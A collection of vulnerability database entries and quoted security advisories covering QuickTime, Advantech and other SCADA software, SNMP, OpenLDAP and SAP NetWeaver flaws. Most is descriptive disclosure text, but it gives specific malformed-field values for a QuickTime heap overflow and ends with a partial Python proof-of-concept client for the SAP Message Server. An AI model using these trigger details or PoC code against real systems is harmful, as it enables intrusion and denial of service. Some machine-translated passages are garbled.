var-200512-0611 Multiple heap-based buffer overflows in QuickTime.qts in Apple QuickTime Player 7.0.3 and iTunes 6.0.1 (3) and earlier allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a .mov file with (1) a Movie Resource atom with a large size value, or (2) an stsd atom with a modified Sample Description Table size value, and possibly other vectors involving media files. NOTE: item 1 was originally identified by CVE-2005-4127 for a pre-patch announcement, and item 2 was originally identified by CVE-2005-4128 for a pre-patch announcement. Apple's QuickTime is a player for files and streaming media in a variety of different formats. A flaw in QuickTime's handling of Targa (TGA) image format files could allow a remote attacker to execute arbitrary code on a vulnerable system. Apple From QuickTime Version that fixes multiple vulnerabilities in 7.0.4 Has been released.Arbitrary code may be executed by a remote third party, DoS You can be attacked. For more information, see the information provided by the vendor. These issues arise when the application handles specially crafted QTIF, TGA, TIFF, and GIF image formats. Successful exploits of these issues may allow remote attackers to trigger a denial-of-service condition or to gain unauthorized access. This issue affects both Mac OS X and Microsoft Windows releases of the software. This issue may be triggered when the application processes a malformed movie (.MOV) file. Successful exploitation will result in execution of arbitrary code in the context of the currently logged in user. This issue affects Apple QuickTime 7.0.3 and iTunes 6.0.1. Earlier versions may also be affected. Multiple buffer overflow vulnerabilities exist in QuickTime.qts. This specific flaw exists within the QuickTime.qts file which many applications access QuickTime's functionality through. By specially crafting atoms within a movie file, a direct heap overwrite is triggered, and reliable code execution is then possible. Technical Details: Technical Description: The code in QuickTime.qts responsible for the size of the Sample Description Table entries from the 'stsd' atom in a QuickTime-format movie on the heap. According to developer.apple.com, the format of the Sample Description Atom is as follows: Field Description ---------------------------------------------------------------- Size 32-bit int Data Format 4 char code Reserved 6 bytes that must be 0 Data Reference Index 16-bit int Hint Track Version 16-bit unsigned int Last compatible hint track version 16-bit unsigned int Max Packet Size 32-bit int Additional Data Table Variable By setting the size of the Sample Description Table to a size of 00 15 - 00 D0 will cause a heap-based overflow. By supplying the "Last compatible hint track version" field with the value of 00 05 - 00 09, an insufficiently-sized heap block will be allocated, resulting in a classic complete heap memory overwrite during the RtlAllocateHeap() function and the attacker can control memory with data taken from the filename of the .MOV file. This vulnerability can be successfully exploited via an embedded media player in an HTML page, email, or HTML link. References QuickTime: QuickTime File Format http://developer.apple.com/documentation/QuickTime/QTFF/index.html Protection: Retina Network Security Scanner has been updated to identify this vulnerability. Vendor Status: Apple has released a patch for this vulnerability. The patch is available via the Updates section of the affected applications. This vulnerability has been assigned the CVE identifier CVE-2005-4092. Credit: Discovery: Karl Lynn Greetings: 0x41414141 Copyright (c) 1998-2006 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email alert@eEye.com for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-200512-0294 Buffer overflow in Apple Quicktime before 7.0.4 allows remote attackers to execute arbitrary code via crafted TGA image files. Apple's QuickTime is a player for files and streaming media in a variety of different formats. For more information, see the information provided by the vendor. QuickTime is prone to a remote buffer-overflow vulnerability. This issue presents itself when the application processes a specially crafted TGA image file. A successful attack can result in a remote compromise. Versions prior to QuickTime 7.0.4 are vulnerable. Fortinet Security Advisory: FSA-2006-04 Apple QuickTime Player Improper Memory Access Vulnerability Advisory Date : January 12, 2006 Reported Date : November 28, 2005 Vendor : Apple computers Affected Products : Apple QuickTime Player v7.0.3 Severity : High Reference : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707 http://docs.info.apple.com/article.html?artnum=303101 http://www.securityfocus.com/bid/16202/info Description : Fortinet Security Research Team (FSRT) has discovered a Improper Memory Access Vulnerability in the Apple QuickTime Player. Impact : Execute arbitrary code Solution : Apple Computers has released a security update for this vulnerability, which is available for downloading from Apples's web site under security update. Fortinet Protection: Fortinet is protecting network from this vulnerability with latest IPS update. Acknowledgment : Dejun Meng of Fortinet Security Research team found this vulnerability. Disclaimer : Although Fortinet has attempted to provide accurate information in these materials, Fortinet assumes no legal responsibility for the accuracy or completeness of the information. Please note that Fortinet's product information does not constitute or contain any guarantee, warranty or legally binding representation, unless expressly identified as such in a duly signed writing. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-011A Apple QuickTime Vulnerabilities Original release date: January 11, 2006 Last revised: January 11, 2006 Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows XP * Microsoft Windows 2000 Overview Apple has released QuickTime 7.0.4 to correct multiple vulnerabilities. The impacts of these vulnerabilities include execution of arbitrary code and denial of service. I. Description Apple QuickTime 7.0.4 resolves a number of image and media file handling vulnerabilities. (CAN-2005-3713) II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands and denial of service. III. Solution Upgrade Upgrade to QuickTime 7.0.4. Appendix A. References * US-CERT Vulnerability Note VU#629845 - <http://www.kb.cert.org/vuls/id/629845> * US-CERT Vulnerability Note VU#921193 - <http://www.kb.cert.org/vuls/id/921193> * US-CERT Vulnerability Note VU#115729 - <http://www.kb.cert.org/vuls/id/115729> * US-CERT Vulnerability Note VU#150753 - <http://www.kb.cert.org/vuls/id/150753> * US-CERT Vulnerability Note VU#913449 - <http://www.kb.cert.org/vuls/id/913449> * CVE-2005-2340 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2340> * CVE-2005-4092 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4092> * CVE-2005-3707 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3707> * CVE-2005-3710 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3710> * CVE-2005-3713 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3713> * Security Content for QuickTime 7.0.4 - <http://docs.info.apple.com/article.html?artnum=303101> * QuickTime 7.0.4 - <http://www.apple.com/support/downloads/quicktime704.html> * About the Mac OS X 10.4.4 Update (Delta) - <http://docs.info.apple.com/article.html?artnum=302810> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA06-011A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA06-011A Feedback VU#913449" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History January 11, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8V8iX0pj593lg50AQJ85wf+OuHVseQVzZ0uI8h8TnmtAJmjzV6tp3Cj 34jwpSLlvo5S8svIHChcX/BYOwKVL/uQZswsjk/mbEu+TrPcVKPd7VPCetxIXVey AdC5hsAH1Wm0MnvY1LgvONo8IQ9RlT6Rj6fY7k7QhPUWsYxj/rDCWDAY9kgsHXc/ HpXWL/Cy5va35z8aYHrLVlxmofKrOWtX0PVa6lSKV8lIsY+TDihA5tYIb5wRDVxL osieJ+MHSXGchXpjX2c0o6Ja6vhJNR61LEwelk9FMLT1JRTkp+wz9/AoVUSyZ/hy 0WBP0M8cwl8koWgijNcLXA18YX8QtDftAVRwpwHKMrbNCYdrWblYVw== =5Kiq -----END PGP SIGNATURE-----
var-201112-0097 Stack-based buffer overflow in the CmpWebServer component in 3S CoDeSys 3.4 SP4 Patch 2 and earlier, as used on the ABB AC500 PLC and possibly other products, allows remote attackers to execute arbitrary code via a long URI to TCP port 8080. CoDeSys is a powerful PLC software programming tool that supports IEC61131-3 standard IL, ST, FBD, LD, CFC, SFC six PLC programming languages. The GatewayService has an integer overflow. The GatewayService uses the 32-bit value offset at the header 0x0c to specify the size of the received data. The program receives this value, increasing the number of 0x34 and allocating the amount of memory can cause an integer overflow. CmpWebServer is a component of the 3SRTESrv3 and CoDeSysControlService services for handling 8080 port connections. The function 0040f480 copies the input URI to a limited stack buffer, which can trigger a buffer overflow. 3S CoDeSys handles the Content-Length value in an HTTP POST request to trigger a null pointer reference. CoDeSys is prone to a stack-based buffer-overflow and an integer-overflow vulnerability. Failed attacks may cause a denial-of-service condition
var-201805-1143 In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several stack-based buffer overflow vulnerabilities have been identified, which may allow an attacker to execute arbitrary code. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within notify2.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). A stack buffer overflow vulnerability exists in several Advantech products
var-201805-1144 In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several SQL injection vulnerabilities have been identified, which may allow an attacker to disclose sensitive information from the host. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within Quality.asp. When parsing the ItemGroupIdAry parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose sensitive information under the context of the database. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). SQL injection vulnerabilities exist in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple SQL-injection vulnerabilities 2. An information-disclosure vulnerability 3. A file-upload vulnerability 4. Multiple directory-traversal vulnerabilities 5. Multiple stack-based buffer-overflow vulnerabilities 6. A heap-based buffer-overflow vulnerability 7. Multiple arbitrary code-execution vulnerabilities 8. A denial-of-service vulnerability 9. A security-bypass vulnerability 10. A privilege-escalation vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions
var-201806-1058 Crestron TSW-1060, TSW-760, TSW-560, TSW-1060-NC, TSW-760-NC, and TSW-560-NC devices before 2.001.0037.001 allow unauthenticated remote code execution via a Bash shell service in Crestron Toolbox Protocol (CTP). This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Crestron's Android-based products. Authentication is not required to exploit this vulnerability.The specific flaw exists within the RESTARTSERVICE command of the CTP console. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker could leverage this vulnerability to execute code with root privileges. CrestronTSW-1060 and other are touch screen devices of Crestron Electronics of the United States. There are security vulnerabilities in several Crestron products. Multiple OS command-injection vulnerabilities. 2. An access-bypass vulnerability. 3. A security-bypass vulnerability. Attackers can exploit these issues to execute arbitrary OS commands and bypass certain security restrictions, perform unauthorized actions, or gain sensitive information within the context of the affected system. Failed exploit attempts will likely result in denial of service conditions
var-201902-0647 LCDS Laquis SCADA prior to version 4.1.0.4150 allows execution of script code by opening a specially crafted report format file. This may allow remote code execution, data exfiltration, or cause a system crash. Script embedded in a crafted file can create files in arbitrary locations using the AddComboFile method. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of LAquis SCADA Software. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of the MemoryWriteWord method. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the aq process. LAquis SCADA is a suite of SCADA software for monitoring and data acquisition. LCDS LAquis SCADA is prone to multiple security vulnerabilities. Failed attempts will likely cause a denial-of-service condition. LCDS LAquis SCADA version 4.1.0.3870 is vulnerable; other versions may also be affected
var-200202-0006 Vulnerabilities in a large number of SNMP implementations allow remote attackers to cause a denial of service or gain privileges via SNMPv1 trap handling, as demonstrated by the PROTOS c06-SNMPv1 test suite. NOTE: It is highly likely that this candidate will be SPLIT into multiple candidates, one or more for each vendor. This and other SNMP-related candidates will be updated when more accurate information is available. Multiple vendor SNMPv1 Trap handling implementations contain vulnerabilities that may allow unauthorized privileged access, denial-of-service conditions, or unstable behavior . If your site uses SNMP in any capacity, the CERT/CC encourages you to read the information provided below. ------------ This vulnerability information is a summary of multiple vulnerabilities released at the same time. Please note that the contents of vulnerability information other than the title are included. ------------ SNMP Protocol is status and performance information MIB (Management Information Base) Protocol used to exchange Management side SNMP Managers such as managed routers, switches and printers SNMP Communicates with management network devices called agents. Because of its wide acceptance in the market, SNMP Has become the standard for SNMP protocol version1 Is SNMPv1 Is the most widely implemented. this SNMPv1 Sent from the agent to the manager in the implementation of SNMP Trap message and sent from the manager to the agent SNMP Decrypt the request message / There are problems in interpreting. If this problem is used by an attacker, the following actions may be executed. Many other programs that you implement may also be affected because of a protocol problem. On the target host SNMP If the service is running, an attacker could execute arbitrary code ・ If a buffer overflow attack is feasible and a very long trap message SNMP If the host on which the service is running receives, the application may go into a denial of service state The effects described above vary from application to application. For details, refer to each product.Please refer to the “Overview” for the impact of this vulnerability. Windows 95 is prone to a denial-of-service vulnerability. MPE/iX is an Internet-ready operating system for the HP e3000 class servers. It is possible to crash the service by transmitting to it a maliciously constructed SNMPv1 request PDU. It was previously known as UCD-SNMP. They typically notify the manager that some event has occured or otherwise provide information about the status of the agent. Multiple vulnerabilities have been discovered in a number of SNMP implementations. The vulnerabilities are known to exist in the process of decoding and interpreting SNMP trap messages. Among the possible consequences are denial of service and allowing attackers to compromise target systems. These depend on the individual vulnerabilities in each affected product. HP has confirmed that large traps will cause OpenView Network Node Manager to crash. This may be due to an exploitable buffer overflow condition
var-200107-0035 slapd in OpenLDAP 1.x before 1.2.12, and 2.x before 2.0.8, allows remote attackers to cause a denial of service (crash) via an invalid Basic Encoding Rules (BER) length field. Multiple versions of OpenLDAP contain vulnerabilities that may allow denial-of-service attacks. These vulnerabilities were revealed using the PROTOS LDAPv3 test suite and are documented in CERT Advisory CA-2001-18. If your site uses this product, the CERT/CC encourages you to follow the advice provided below. Vulnerabilities exist in slapd in OpenLDAP 1.x versions prior to 1.2.12 and 2.x versions prior to 2.0.8
var-200607-0396 Multiple stack-based buffer overflows in eIQnetworks Enterprise Security Analyzer (ESA) before 2.5.0, as used in products including (a) Sidewinder, (b) iPolicy Security Manager, (c) Astaro Report Manager, (d) Fortinet FortiReporter, (e) Top Layer Network Security Analyzer, and possibly other products, allow remote attackers to execute arbitrary code via long (1) DELTAINTERVAL, (2) LOGFOLDER, (3) DELETELOGS, (4) FWASERVER, (5) SYSLOGPUBLICIP, (6) GETFWAIMPORTLOG, (7) GETFWADELTA, (8) DELETERDEPDEVICE, (9) COMPRESSRAWLOGFILE, (10) GETSYSLOGFIREWALLS, (11) ADDPOLICY, and (12) EDITPOLICY commands to the Syslog daemon (syslogserver.exe); (13) GUIADDDEVICE, (14) ADDDEVICE, and (15) DELETEDEVICE commands to the Topology server (Topology.exe); the (15) LICMGR_ADDLICENSE command to the License Manager (EnterpriseSecurityAnalyzer.exe); the (16) TRACE and (17) QUERYMONITOR commands to the Monitoring agent (Monitoring.exe); and possibly other vectors related to the Syslog daemon (syslogserver.exe). Used in the following products eIQnetworks Enterprise Security Analyzer (ESA) Is Syslog daemon (syslogserver.exe) A stack-based buffer overflow vulnerability exists due to a flaw in handling. During the processing of long arguments to the LICMGR_ADDLICENSE command a classic stack based buffer overflow occurs. Authentication is not required to exploit this vulnerability.The specific flaw exists within the Syslog daemon, syslogserver.exe, during the processing of long strings transmitted to the listening TCP port. The vulnerability is not exposed over UDP. The default configuration does not expose the open TCP port. eIQnetworks Enterprise Security Analyzer (ESA) is an enterprise-level security management platform. The following commands are known to be affected by this vulnerability:  DELTAINTERVAL  LOGFOLDER  DELETELOGS  FWASERVER  SYSLOGPUBLICIP  GETFWAIMPORTLOG  GETFWADELTA  DELETERDEPDEVICE  COMPRESSRAWLOGFILE  GETSYSLOGFIREWALLS  ADDPOLICY  EDITPOLICY. OEM vendors' versions prior to 4.6 are also vulnerable. -- About the TippingPoint Security Research Team (TSRT): The TippingPoint Security Research Team (TSRT) consists of industry recognized security researchers that apply their cutting-edge engineering, reverse engineering and analysis talents in our daily operations. More information about the team is available at: http://www.tippingpoint.com/security The by-product of these efforts fuels the creation of vulnerability filters that are automatically delivered to our customers' intrusion prevention systems through the Digital Vaccine(R) service. ZDI-06-023: eIQnetworks Enterprise Security Analyzer Syslog Server Buffer Overflow Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-06-023.html July 25, 2006 -- CVE ID: CVE-2006-3838 -- Affected Vendor: eIQnetworks -- Affected Products: eIQnetworks Enterprise Security Analyzer Astaro Report Manager (OEM) Fortinet FortiReporter (OEM) iPolicy Security Reporter (OEM) SanMina Viking Multi-Log Manager (OEM) Secure Computing G2 Security Reporter (OEM) Top Layer Network Security Analyzer (OEM) -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability since by Digital Vaccine protection filter ID N/A. Authentication is not required to exploit this vulnerability. -- Vendor Response: eIQnetworks has issued an update to correct this vulnerability. More details can be found at: http://www.eiqnetworks.com/products/enterprisesecurity/EnterpriseSecurityAnalyzer/ESA_2.5.0_Release_Notes.pdf -- Disclosure Timeline: 2006.05.10 - Vulnerability reported to vendor - Digital Vaccine released to TippingPoint customers 2006.07.25 - Coordinated public release of advisory -- Credit: This vulnerability was discovered by Titon, JxT, KF and the rest of Bastard Labs. -- About the Zero Day Initiative (ZDI): Established by TippingPoint, a division of 3Com, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. 3Com does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, 3Com provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, 3Com provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
var-201601-0038 Multiple stack-based buffer overflows in Advantech WebAccess before 8.1 allow remote attackers to execute arbitrary code via unspecified vectors. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27B0 IOCTL in the ViewSrv subsystem. A stack-based buffer overflow vulnerability exists in a call to BwBuildPath. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems
var-201801-0394 TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-interface variable in the cmxddns.lua file. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices
var-201805-1147 WPLSoft in Delta Electronics versions 2.45.0 and prior utilizes a fixed length heap buffer where a value larger than the buffer can be read from a file into the buffer, causing the buffer to be overwritten, which may allow remote code execution or cause the application to crash. Delta Electronics WPLSoft Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation WPLSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of dvp files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process. Delta Industrial Automation is the industry automation vendor for power management and cooling solutions worldwide. The length of the data provided by the user is not verified. WPLSoft (Delta PLC programming software) is a PLC program programming software used by Delta Electronics in the WINDOWS operating system environment. Delta Electronics WPLSoft has a heap buffer overflow vulnerability. Execute or cause the application to crash. A stack-based buffer-overflow vulnerability 2. A heap-based buffer-overflow vulnerability 3. Delta Industrial WPLSoft Version 2.45.0 and prior versions are vulnerable
var-201904-0181 Advantech WebAccess/SCADA, Versions 8.3.5 and prior. Multiple stack-based buffer overflow vulnerabilities, caused by a lack of proper validation of the length of user-supplied data, may allow remote code execution. Advantech WebAccess/SCADA Contains a buffer error vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwthinfl.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a set of browser-based SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in Advantech WebAccess/SCADA. This vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in execution to other associated memory locations. erroneous read and write operations
var-202001-0833 A Denial of Service vulnerability exists in the WRITE_C function in the msg_server.exe module in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04 when sending a crafted SAP Message Server packet to TCP ports 36NN and/or 39NN. SAP NetWeaver Contains an array index validation vulnerability.Denial of service operation (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ CORE-2012-1128 1. *Advisory Information* Title: SAP Netweaver Message Server Multiple Vulnerabilities Advisory ID: CORE-2012-1128 Advisory URL: http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities Date published: 2013-02-13 Date of last update: 2013-02-13 Vendors contacted: SAP Release mode: Coordinated release 2. *Vulnerability Information* Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1592, CVE-2013-1593 3. By sending different messages, the different vulnerabilities can be triggered. 4. *Vulnerable packages* . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Vendor did not provide this information. 6. *Vendor Information, Solutions and Workarounds* SAP released the security note 1800603 [2] regarding these issues. 7. *Credits* Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* The following python script is the main PoC that can be used to reproduce all vulnerabilities described below: /----- import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection) -----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities. 8.1. Malicious packets are processed by the vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module. The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows: /----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 